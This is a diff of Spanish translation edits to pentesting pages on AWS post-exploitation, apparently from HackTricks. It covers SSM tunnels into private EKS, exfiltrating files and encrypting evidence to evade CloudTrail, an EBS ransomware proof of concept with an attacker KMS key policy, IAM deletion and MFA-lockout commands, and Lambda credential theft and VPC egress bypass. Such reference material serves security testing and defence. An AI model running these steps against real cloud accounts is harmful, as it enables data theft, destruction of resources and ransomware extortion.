Iniciar sesión en EKS como el Bastion EC2: +3. Obtén las credenciales temporales de AWS del Bastion EC2 con el script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +4. Transfiere las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como el perfil `[bastion-ec2]` +5. Inicia sesión en EKS como el Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Actualiza el campo `server` en el archivo `$HOME/.kube/config` para que apunte a `https://localhost` -7. Crea un túnel SSM como sigue: +6. Actualice el campo `server` en el archivo `$HOME/.kube/config` para que apunte a `https://localhost` +7. Cree un túnel SSM como sigue: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. El tráfico de la herramienta `kubectl` ahora se reenvía por el túnel SSM vía el Bastion EC2 y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando: +8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el Bastion EC2 y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Ten en cuenta que las conexiones SSL fallarán a menos que configures la bandera `--insecure-skip-tls-verify` (o su equivalente en herramientas de auditoría K8s). Al estar el tráfico tunelizado a través del túnel seguro AWS SSM, estás protegido contra cualquier tipo de ataques MitM. +Ten en cuenta que las conexiones SSL fallarán a menos que establezcas la opción `--insecure-skip-tls-verify ` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico viaja a través del túnel seguro de AWS SSM, estás protegido contra cualquier tipo de ataques MitM. -Finalmente, esta técnica no es específica para atacar clusters privados EKS. Puedes establecer dominios y puertos arbitrarios para pivotar hacia cualquier otro servicio AWS o una aplicación personalizada. +Finalmente, esta técnica no es específica para atacar clusters privados de EKS. Puedes establecer dominios y puertos arbitrarios para pivotar hacia cualquier otro servicio de AWS o una aplicación personalizada. --- -#### Reenvío rápido Local ↔️ Remoto de Puertos (AWS-StartPortForwardingSession) +#### Reenvío rápido Local ↔️ Remoto (AWS-StartPortForwardingSession) Si solo necesitas reenviar **un puerto TCP desde la instancia EC2 a tu host local** puedes usar el documento SSM `AWS-StartPortForwardingSession` (no se requiere el parámetro de host remoto): ```bash @@ -225,24 +225,24 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -El comando establece un túnel bidireccional entre tu workstation (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instancia **without opening any inbound Security-Group rules**. +El comando establece un túnel bidireccional entre tu workstation (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instance **sin abrir ninguna regla de Security-Group entrante**. -Common use cases: +Casos de uso comunes: * **File exfiltration** -1. En la instancia, inicia un servidor HTTP rápido que apunte al directorio que quieres exfiltrar: +1. En la instance, inicia un servidor HTTP rápido que apunte al directorio que quieres exfiltrar: ```bash python3 -m http.server 8000 ``` -2. Desde tu workstation, descarga los archivos a través del túnel SSM: +2. Desde tu workstation, recupera los archivos a través del túnel SSM: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Accessing internal web applications (e.g. Nessus)** +* **Acceso a aplicaciones web internas (p. ej. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -250,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Consejo: Comprime y cifra la evidencia antes de exfiltrarla para que CloudTrail no registre el contenido en texto plano: +Consejo: Comprime y cifra la evidencia antes de exfiltrarla para que CloudTrail no registre el contenido en texto claro: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -261,7 +261,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### Buscar información sensible en AMIs públicas y privadas -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde las AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secrets o datos sensibles. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles. ### Compartir EBS Snapshot ```bash @@ -269,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Una prueba de concepto similar a la demostración de Ransomware mostrada en las notas de post-exploitation de S3. KMS debería renombrarse a RMS (Ransomware Management Service) dada la facilidad con la que se puede usar para cifrar varios servicios de AWS. +Una prueba de concepto similar a la demostración de Ransomware en las notas de post-exploitation de S3. KMS debería renombrarse a RMS (Ransomware Management Service) dada la facilidad con la que se puede usar para cifrar varios servicios de AWS. -Primero, desde una cuenta AWS de 'attacker', crea una customer managed key en KMS. En este ejemplo dejaremos que AWS gestione los datos de la key por nosotros, pero en un escenario realista un malicious actor retendría los datos de la key fuera del control de AWS. Cambia la key policy para permitir que cualquier AWS account Principal use la key. Para esta key policy, el nombre de la cuenta fue 'AttackSim' y la regla de la policy que permite acceso total se llama 'Outside Encryption' +First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -371,21 +371,21 @@ La regla de la key policy necesita tener lo siguiente habilitado para permitir u - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Ahora, con la key públicamente accesible para usar. Podemos usar una cuenta 'victim' que tenga algunas instancias EC2 desplegadas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta 'victim' son nuestro objetivo para el cifrado; este ataque se realiza bajo el supuesto compromiso de una cuenta AWS de alto privilegio. +Ahora, con la key públicamente accesible para usar. Podemos usar una cuenta 'victim' que tiene algunas instancias EC2 desplegadas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta 'victim' son los que estamos atacando para cifrado; este ataque se realiza bajo el supuesto de una violación de una cuenta AWS con privilegios elevados. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar al ejemplo de S3 ransomware. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la key públicamente disponible de la cuenta 'attacker' para cifrar los nuevos volúmenes EBS, luego desacoplará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará los snapshots usados para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Similar al ejemplo de S3 ransomware. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la key públicamente disponible de la cuenta 'attacker' para cifrar los nuevos volúmenes EBS, luego detachará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente borrará los snapshots usados para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta. +Como resultado, solo quedarán disponibles en la cuenta volúmenes EBS cifrados. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -También cabe destacar que el script detuvo las instancias EC2 para desacoplar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no existen. +También cabe destacar que el script detuvo las instancias EC2 para detachar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no existen. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -A continuación, vuelve a la key policy en la cuenta 'attacker' y elimina la regla de la política 'Outside Encryption' de la key policy. +Después, vuelve a la key policy en la cuenta 'attacker' y elimina la regla de policy 'Outside Encryption' de la key policy. ```json { "Version": "2012-10-17", @@ -456,15 +456,15 @@ A continuación, vuelve a la key policy en la cuenta 'attacker' y elimina la reg ] } ``` -Espere un momento a que la política de clave recién establecida se propague. Luego vuelva a la cuenta 'victim' e intente adjuntar uno de los volúmenes EBS recién encriptados. Verá que puede adjuntar el volumen. +Espera un momento para que la nueva key policy se propague. Luego regresa a la cuenta 'victim' e intenta adjuntar uno de los EBS volumes recién cifrados. Verás que puedes adjuntar el volumen. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Pero cuando intente arrancar la instancia EC2 con el volumen EBS encriptado, fallará y pasará del estado 'pending' de nuevo a 'stopped' indefinidamente, ya que el volumen EBS adjunto no puede desencriptarse con la clave porque la política de clave ya no lo permite. +Pero cuando intentes arrancar la instancia EC2 con el EBS volume cifrado, fallará y pasará del estado 'pending' al estado 'stopped' indefinidamente, ya que el EBS volume adjunto no puede ser descifrado usando la key porque la key policy ya no lo permite. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Este es el script de python utilizado. Toma credenciales AWS para una cuenta 'victim' y un valor ARN público de AWS para la key que se usará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta 'victim' objetivo. SOLO UTILICE ESTE SCRIPT EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puede recuperarlos usando la KMS key utilizada y restaurarlos a su estado original vía snapshots, pero quería que supiera que al final del día esto es un PoC de ransomware. +Este es el python script utilizado. Toma AWS creds para una cuenta 'victim' y un valor ARN de AWS públicamente disponible para la key que se usará para el cifrado. El script hará copias cifradas de TODOS los EBS volumes disponibles adjuntos a TODAS las EC2 instances en la cuenta AWS objetivo, luego detendrá cada EC2 instance, desacoplará los EBS volumes originales, los eliminará y finalmente borrará todos los snapshots utilizados durante el proceso. Esto dejará solo EBS volumes cifrados en la cuenta 'victim' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS EBS VOLUMES ORIGINALES. Puedes recuperarlos usando la KMS key utilizada y restaurarlos a su estado original vía snapshots, pero ten en cuenta que, al final del día, esto es un ransomware PoC. ``` import boto3 import argparse @@ -583,6 +583,6 @@ main() ``` ## Referencias -- [Pentest Partners – Cómo transferir archivos en AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md index 69779ce12..e9b2edb90 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -4,7 +4,7 @@ ## IAM -Para más información sobre el acceso IAM: +Para más información sobre el acceso a IAM: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,13 +12,13 @@ Para más información sobre el acceso IAM: ## Confused Deputy Problem -Si permites que una cuenta externa (A) acceda a un rol en tu cuenta, probablemente tendrás 0 visibilidad sobre quién exactamente puede acceder a esa cuenta externa. Esto es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A), es posible que B también pueda acceder a tu cuenta. +Si **permites que una cuenta externa (A)** acceda a un **role** en tu cuenta, probablemente tendrás **0 visibilidad** sobre **quién puede exactamente acceder a esa cuenta externa**. Esto es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A), es posible que **B también pueda acceder a tu cuenta**. -Por lo tanto, al permitir que una cuenta externa acceda a un rol en tu cuenta, es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) necesita especificar para poder asumir el rol en tu organización. Como la cuenta externa B no conocerá esta cadena, incluso si tiene acceso a A no podrá acceder a tu rol. +Por lo tanto, al permitir que una cuenta externa acceda a un role en tu cuenta es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) **debe especificar** para **asumir el role en tu organización**. Como la **cuenta externa B no conocerá esta cadena**, incluso si tiene acceso a A **no podrá acceder a tu role**.
-Sin embargo, ten en cuenta que este "secreto" `ExternalId` **no es un secreto**: cualquiera que pueda leer la política de assume role de IAM podrá verlo. Pero mientras la cuenta externa A lo conozca y la cuenta externa B no lo conozca, esto evita que B abuse de A para acceder a tu rol. +Sin embargo, ten en cuenta que este "secreto" `ExternalId` **no es un secreto**, cualquiera que pueda **leer la IAM assume role policy podrá verlo**. Pero mientras la cuenta externa A lo conozca, y la cuenta externa **B no lo conozca**, esto **evita que B abuse de A para acceder a tu role**. Ejemplo: ```json @@ -39,11 +39,11 @@ Ejemplo: } ``` > [!WARNING] -> Para que un atacante explote un confused deputy, necesitará averiguar de alguna manera si los principals de la cuenta actual pueden suplantar roles en otras accounts. +> Para que un atacante explote un confused deputy, necesitará averiguar de algún modo si los principals de la cuenta actual pueden suplantar roles en otras cuentas. ### Confianzas inesperadas -#### Wildcard como principal +#### Comodín como principal ```json { "Action": "sts:AssumeRole", @@ -62,7 +62,7 @@ Esta política **permite a todo AWS** asumir el rol. "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Esta política **permite a cualquier cuenta** configurar su apigateway para llamar a esta Lambda. +Esta política **permite a cualquier cuenta** configurar su apigateway para invocar esta Lambda. #### S3 como principal ```json @@ -73,7 +73,7 @@ Esta política **permite a cualquier cuenta** configurar su apigateway para llam } } ``` -Si se especifica un S3 bucket como principal, dado que los S3 buckets no tienen Account ID, si **eliminaste tu bucket y el attacker lo creó** en su propia cuenta, entonces podrían abusar de esto. +Si se da un principal como S3 bucket, dado que los S3 buckets no tienen un Account ID, si **eliminaste tu bucket y el attacker lo creó** en su propia cuenta, entonces podrían abusar de esto. #### No soportado ```json @@ -84,10 +84,10 @@ Si se especifica un S3 bucket como principal, dado que los S3 buckets no tienen "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Una forma común de evitar problemas de Confused Deputy es el uso de una condición con `AWS:SourceArn` para comprobar el ARN de origen. Sin embargo, **algunos servicios podrían no soportarlo** (como CloudTrail según algunas fuentes). +A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **algunos servicios podrían no admitir eso** (por ejemplo CloudTrail según algunas fuentes). ### Eliminación de credenciales -Con cualquiera de los siguientes permisos — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un actor puede eliminar claves de acceso, perfiles de inicio de sesión, claves SSH, credenciales específicas de servicio, perfiles de instancia, certificados o claves públicas de CloudFront, o desasociar roles de perfiles de instancia. Tales acciones pueden bloquear inmediatamente a usuarios y aplicaciones legítimas y provocar denegación de servicio o pérdida de acceso para sistemas que dependen de esas credenciales, por lo que estos permisos de IAM deben estar estrictamente restringidos y vigilados. +With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored. ```bash # Remove Access Key of a user aws iam delete-access-key \ @@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \ --ssh-public-key-id APKAEIBAERJR2EXAMPLE ``` ### Eliminación de identidades -Con permisos como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un actor puede eliminar usuarios, roles o grupos—o cambiar la pertenencia a un grupo—eliminando identidades y trazas asociadas. Esto puede interrumpir inmediatamente el acceso para personas y servicios que dependen de esas identidades, causando denial-of-service o pérdida de acceso, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas. +Con permisos como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un actor puede eliminar usuarios, roles o grupos—o cambiar la pertenencia a grupos—eliminando identidades y rastros asociados. Esto puede romper inmediatamente el acceso para personas y servicios que dependen de esas identidades, causando denial-of-service o pérdida de acceso, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas. ```bash # Delete a user aws iam delete-user \ @@ -115,7 +115,7 @@ aws iam delete-role \ --role-name ``` ### -Con cualquiera de los siguientes permisos — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un actor puede eliminar o desvincular políticas administradas/en línea, eliminar versiones de políticas o límites de permisos, y desvincular políticas de usuarios, grupos o roles. Esto destruye autorizaciones y puede alterar el modelo de permisos, provocando pérdida inmediata de acceso o denegación de servicio para las entidades que dependían de esas políticas, por lo que estas acciones de IAM deben estar fuertemente restringidas y monitorizadas. +Con cualquiera de los siguientes permisos — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un actor puede eliminar o desvincular políticas administradas/inline, eliminar versiones de políticas o permissions boundaries, y desvincular políticas de usuarios, grupos o roles. Esto destruye autorizaciones y puede alterar el modelo de permisos, provocando pérdida inmediata de acceso o denegación de servicio para los principals que dependían de esas políticas, por lo que estas acciones de IAM deben restringirse y supervisarse estrictamente. ```bash # Delete a group policy aws iam delete-group-policy \ @@ -128,7 +128,7 @@ aws iam delete-role-policy \ --policy-name ``` ### Eliminación de identidad federada -Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` y `iam:RemoveClientIDFromOpenIDConnectProvider`, un actor puede eliminar proveedores de identidad OIDC/SAML o eliminar client IDs. Esto interrumpe la autenticación federada, impidiendo la validación de tokens y denegando inmediatamente el acceso a usuarios y servicios que dependen de SSO hasta que el IdP o las configuraciones se restablezcan. +Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, y `iam:RemoveClientIDFromOpenIDConnectProvider`, un actor puede eliminar proveedores de identidad OIDC/SAML o eliminar client IDs. Esto rompe la autenticación federada, impidiendo la validación de tokens y denegando inmediatamente el acceso a usuarios y servicios que dependen de SSO hasta que el IdP o las configuraciones se restablezcan. ```bash # Delete OIDCP provider aws iam delete-open-id-connect-provider \ @@ -138,8 +138,8 @@ aws iam delete-open-id-connect-provider \ aws iam delete-saml-provider \ --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS ``` -### Activación no autorizada de MFA -Con `iam:EnableMFADevice`, un atacante puede registrar un dispositivo MFA en la identidad de un usuario, impidiendo que el usuario legítimo inicie sesión. Una vez que se habilita un MFA no autorizado, el usuario puede quedar bloqueado hasta que el dispositivo sea eliminado o restablecido (nota: si se registran múltiples dispositivos MFA, iniciar sesión requiere solo uno, por lo que este ataque no tendrá efecto para negar el acceso). +### Illegitimate MFA Activation +Con `iam:EnableMFADevice`, un actor puede registrar un dispositivo MFA en la identidad de un usuario, impidiendo que el usuario legítimo inicie sesión. Una vez que se habilita un MFA no autorizado, el usuario puede quedar bloqueado hasta que el dispositivo sea eliminado o restablecido (nota: si se registran múltiples dispositivos MFA, para iniciar sesión solo se requiere uno, por lo que este ataque no tendrá efecto para negar el acceso). ```bash aws iam enable-mfa-device \ --user-name \ @@ -147,8 +147,8 @@ aws iam enable-mfa-device \ --authentication-code1 123456 \ --authentication-code2 789012 ``` -### Certificate/Key Metadata Tampering -Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un actor puede cambiar el estado o los metadatos de claves públicas y certificados. Al marcar claves/certificados como inactivos o alterar referencias, puede romper la autenticación SSH, invalidar las validaciones X.509/TLS e interrumpir inmediatamente servicios que dependen de esas credenciales, provocando pérdida de acceso o disponibilidad. +### Manipulación de metadatos de certificados/clave +Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un actor puede cambiar el estado o los metadatos de claves públicas y certificados. Al marcar claves/certificados como inactivos o alterar referencias, puede romper la autenticación SSH, invalidar las validaciones X.509/TLS y interrumpir de inmediato servicios que dependen de esas credenciales, causando pérdida de acceso o disponibilidad. ```bash aws iam update-ssh-public-key \ --user-name \ @@ -161,7 +161,7 @@ aws iam update-server-certificate \ ``` ### `iam:Delete*` -El comodín de IAM iam:Delete* otorga la capacidad de eliminar muchos tipos de recursos de IAM —usuarios, roles, grupos, políticas, claves, certificados, dispositivos MFA, versiones de políticas, etc.— y, por lo tanto, tiene un radio de impacto muy alto: un actor al que se le conceda iam:Delete* puede destruir permanentemente identidades, credenciales, políticas y artefactos relacionados, eliminar auditoría/evidencia y provocar interrupciones de servicio u operativas. Algunos ejemplos son +El comodín de IAM iam:Delete* otorga la capacidad de eliminar muchos tipos de recursos de IAM—users, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. —y por lo tanto tiene un radio de impacto muy alto: un actor al que se le haya concedido iam:Delete* puede destruir permanentemente identities, credentials, policies y artefactos relacionados, eliminar audit/evidence y causar interrupciones de servicio u operativas. Algunos ejemplos son ```bash # Delete a user aws iam delete-user --user-name @@ -174,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam:::policy/ ``` ### `iam:EnableMFADevice` -Un actor al que se le conceda la acción `iam:EnableMFADevice` puede registrar un MFA device en una identidad de la cuenta, siempre que el usuario no tuviera ya uno habilitado. Esto puede usarse para interferir con el acceso de un usuario: una vez que un attacker registra un MFA device, el usuario legítimo puede verse impedido de iniciar sesión porque no controla el MFA registrado por el attacker. +Un actor con la acción iam:EnableMFADevice puede registrar un dispositivo MFA en una identidad de la cuenta, siempre que el user no tuviera ya uno habilitado. Esto puede usarse para interferir con el acceso de un user: una vez que un attacker registra un dispositivo MFA, el user legítimo puede verse impedido de iniciar sesión porque no controla el MFA registrado por el attacker. -Este ataque de denegación de acceso solo funciona si el usuario no tenía ningún MFA registrado; si el attacker registra un MFA device para ese usuario, el usuario legítimo quedará bloqueado en cualquier flujo que requiera ese nuevo MFA. Si el usuario ya tiene uno o más MFA devices bajo su control, añadir un MFA controlado por el attacker no bloquea al usuario legítimo — este puede seguir autenticándose usando cualquier MFA que ya posea. +Este ataque de denegación de acceso solo funciona si el user no tenía registrado ningún MFA; si el attacker registra un dispositivo MFA para ese user, el user legítimo quedará bloqueado en cualquier flujo que requiera ese nuevo MFA. Si el user ya tiene uno o más dispositivos MFA bajo su control, añadir un MFA controlado por el attacker no bloquea al user legítimo: puede seguir autenticándose usando cualquier MFA que ya tenga. -Para habilitar (registrar) un MFA device para un usuario, un attacker podría ejecutar: +Para habilitar (registrar) un dispositivo MFA para un user un attacker podría ejecutar: ```bash aws iam enable-mfa-device \ --user-name \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 49b50ccb2..ed195d086 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,27 +4,27 @@ ## Lambda -Para más información consulta: +Para más información, consulta: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Exfilrtate Lambda Credentials +### Exfiltrar credenciales de Lambda -Lambda usa variables de entorno para inyectar credentials en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la función vulnerable misma), puedes usarlas tú mismo. Se almacenan en los nombres de variable por defecto `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`. +Lambda usa variables de entorno para inyectar credenciales en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la propia función vulnerable), puedes utilizarlas tú mismo. Se almacenan en los nombres de variable por defecto `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` y `AWS_ACCESS_KEY_ID`. -Por defecto, estas tendrán acceso para escribir en un cloudwatch log group (cuyo nombre se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear log groups arbitrarios; sin embargo, las lambda functions con frecuencia tienen más permisos asignados según su uso previsto. +Por defecto, estas tendrán acceso para escribir en un cloudwatch log group (cuyo nombre se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear log groups arbitrarios; sin embargo, las funciones de Lambda frecuentemente tienen más permisos asignados según su uso previsto. ### `lambda:Delete*` -Un atacante al que se le otorgue `lambda:Delete*` puede eliminar Lambda functions, versions/aliases, layers, event source mappings y otras configuraciones asociadas. +Un atacante al que se le conceda lambda:Delete* puede eliminar funciones de Lambda, versiones/alias, layers, event source mappings y otras configuraciones asociadas. ```bash aws lambda delete-function \ --function-name ``` ### Steal Others Lambda URL Requests -Si un atacante de alguna manera logra obtener RCE dentro de una Lambda podrá robar las solicitudes HTTP de otros usuarios a la Lambda. Si las solicitudes contienen información sensible (cookies, credentials...) podrá exfiltrarlas. +Si un atacante de alguna manera logra obtener RCE dentro de una Lambda, podrá robar las solicitudes HTTP de otros usuarios dirigidas a la Lambda. Si las solicitudes contienen información sensible (cookies, credenciales...) podrá exfiltrarlas. {{#ref}} aws-warm-lambda-persistence.md @@ -40,7 +40,7 @@ Abusando de Lambda Layers también es posible abusar de extensions y persistir e ### AWS Lambda – VPC Egress Bypass -Forzar que una función Lambda salga de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando acceso saliente a internet y eludiendo los controles de egress aplicados por subredes privadas de la VPC sin NAT. +Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT. {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -48,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Abusa de `lambda:PutRuntimeManagementConfig` para pin a una función a una versión específica del runtime (Manual) o congelar actualizaciones (FunctionUpdate). Esto preserva compatibilidad con layers/wrappers maliciosos y puede mantener la función en un runtime obsoleto y vulnerable para facilitar la explotación y la persistencia a largo plazo. +Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence. {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -56,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Abusa de `lambda:UpdateFunctionConfiguration` y de los controles avanzados de logging para redirigir los logs de una función a un log group de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el execution role (la mayoría de roles de Lambda ya incluyen `logs:CreateLogGroup/CreateLogStream/PutLogEvents` mediante `AWSLambdaBasicExecutionRole`). Si la función imprime secrets/request bodies o se bloquea con stack traces, puedes recopilarlos 